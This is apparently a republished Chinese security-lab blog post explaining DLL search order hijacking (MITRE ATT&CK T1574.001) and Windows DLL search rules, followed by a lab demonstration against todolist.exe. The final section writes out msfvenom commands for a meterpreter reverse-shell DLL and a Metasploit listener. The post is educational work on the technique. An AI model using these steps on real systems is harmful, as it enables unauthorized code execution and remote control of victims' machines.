一、技术描述
T1574.001技术(Dll搜索顺序劫持,DLL Search Order Hijacking)位于“权限提升”战术中,是T1574(劫持执行流程)的子技术。官方对该技术的描述如下:
https://attack.mitre.org/techniques/T1574/001/
对手可能通过劫持用于加载DLL的搜索顺序来执行其自身的恶意有效载荷。Windows系统使用一种通用的方法来查找需要加载到程序中的DLL。劫持DLL加载的目的可能是为了建立持久性,以及提升权限和/或规避文件执行限制。
对手劫持DLL加载有多种方式。对手可能在将被搜索的目录中放置特洛伊木马动态链接库文件(DLLs),这些目录比程序请求的合法库的位置更早被搜索到,这将导致Windows在受害程序调用时加载他们的恶意库。攻击者还可能通过在Windows搜索合法DLL之前的位置放置与模糊指定的DLL同名的恶意DLL来执行DLL预加载,这也被称为二进制种植攻击。通常,这个位置是程序的当前工作目录。当程序在加载DLL之前将其当前目录设置为远程位置(如Web共享)时,会发生远程DLL预加载攻击。
幽灵DLL劫持是一种特定类型的DLL搜索顺序劫持,其中对手引用不存在的DLL文件。他们可能通过在缺失模块的位置以正确的名称植入自己的恶意DLL来加载它。
对手还可以通过DLL重定向直接修改搜索顺序,这在启用后(通过注册表设置和创建重定向文件)可能导致程序加载不同的DLL。
如果一个存在搜索顺序漏洞的程序被配置为以更高的权限级别运行,那么由对手控制的DLL也会以更高的权限级别执行。在这种情况下,该技术可用于从用户到管理员或SYSTEM的权限提升,或者从管理员到SYSTEM的权限提升,具体取决于程序。受到路径劫持影响的程序可能表现正常,因为恶意DLL可以配置为同时加载它们意图替换的合法DLL。
二、技术原理
(一)windows xp sp2之前查找dll的顺序
1)进程所对应的应用程序所在的目录;
2)当前目录(Current Directory);
3)系统目录(通过 GetSystemDirectory 获取);
4)16位系统目录;
5)Windows目录(通过 GetWindowsDirectory 获取);
6)PATH环境变量中的各个目录;
在这种情况下,例如打开office文档时,office应用程序会被启动,而office程序会加载系统目录中的某个dll文件。如果在office程序的代码中没有指定该dll文件的绝对路径,那么就会以上面的顺序在相关目录中查找该dll文件。攻击者可制作一个恶意dll,起一个与被调用的dll文件相同的名称,放在office文档所在的目录中,那么此恶意dll会因为处于查找顺序靠前(当前目录)的位置的原因而优先于正常dll(系统目录)被调用。
(二)开启SafeDllSearchMode的情况
在开启SafeDllSearchMode的情况下,Windows系统查找DLL的顺序:
1)进程对应的应用程序所在目录;
2)系统目录(即%windir%system32);
3)16位系统目录(即%windir%system);
4)Windows目录(即%windir%);
5)当前目录(Current Directory);
6)PATH环境变量中的各个目录;
在这种情况下,前面的劫持office程序所调用的dll的方法就行不通了,因为当前目录的查找顺序在windows目录的后面。但仍然可以通过将恶意dll放在进程所对应的应用程序目录而实现劫持。
SafeDllSearchMode的开启方法(默认为开启状态):
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1
(三)windows 7以上系统查找dll的顺序
windows 7系统没有了SafeDllSearchMode,而采用了KnownDLLs。凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,只能从系统目录即SYSTEM32目录下调用。KnownDLLs的注册表位置:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
最终,Windows2003和win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
在这种情况下,仍然可以实现dll劫持,方法如下:
查看可执行程序所调用的dll文件,若其中某个dll文件不在KnownDLLs列表中且使用相对路径调用,则制作同名dll文件,放在应用程序目录中,在可执行文件运行时即可执行dll文件中的代码。
三、技术实现
使用DLL Hijacking Auditor检测应用程序是否存在dll劫持漏洞,被检测对象名为todolist.exe。
(一)启动检测
运行DLL Hijacking Auditor,指定可执行文件,点击start audit。
当发现存在可利用的漏洞时,会要求点击Exploit按钮。
根据提示,点击report按钮,下载报告:
(二)查看报告
在报告的“Detailed Audit Report”部分,可以看到存在漏洞的dll文件,名称为“todolistloc.dll”:
最终的结论是“Application is Exploitable”。
(三)验证漏洞
1、创建用于劫持的dll
//使用msfvenom创建dll,可弹出消息窗口
msfvenom -p windows/messagebox -a x86 -f dll -o todolistloc.dll
将todolistloc.dll放入todolist.exe所在的目录中。
2、查看劫持效果
双击运行todolist.exe,直接弹出窗口:
弹窗意味着执行了注入的代码,说明dll劫持成功。
(四)利用漏洞
1、创建用于劫持的dll
如果生成的是执行反弹连接的dll,则攻击者可以得到shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.1 LPORT=4444 -a x86 -f dll -o todolistloc.dll
2、准备接收反弹连接
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.242.1
set lport 4444
exploit
3、获取反弹shell
双击运行todolist.exe后,攻击者得到反弹shell:
原文始发于微信公众号(新蜂网络安全实验室):Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论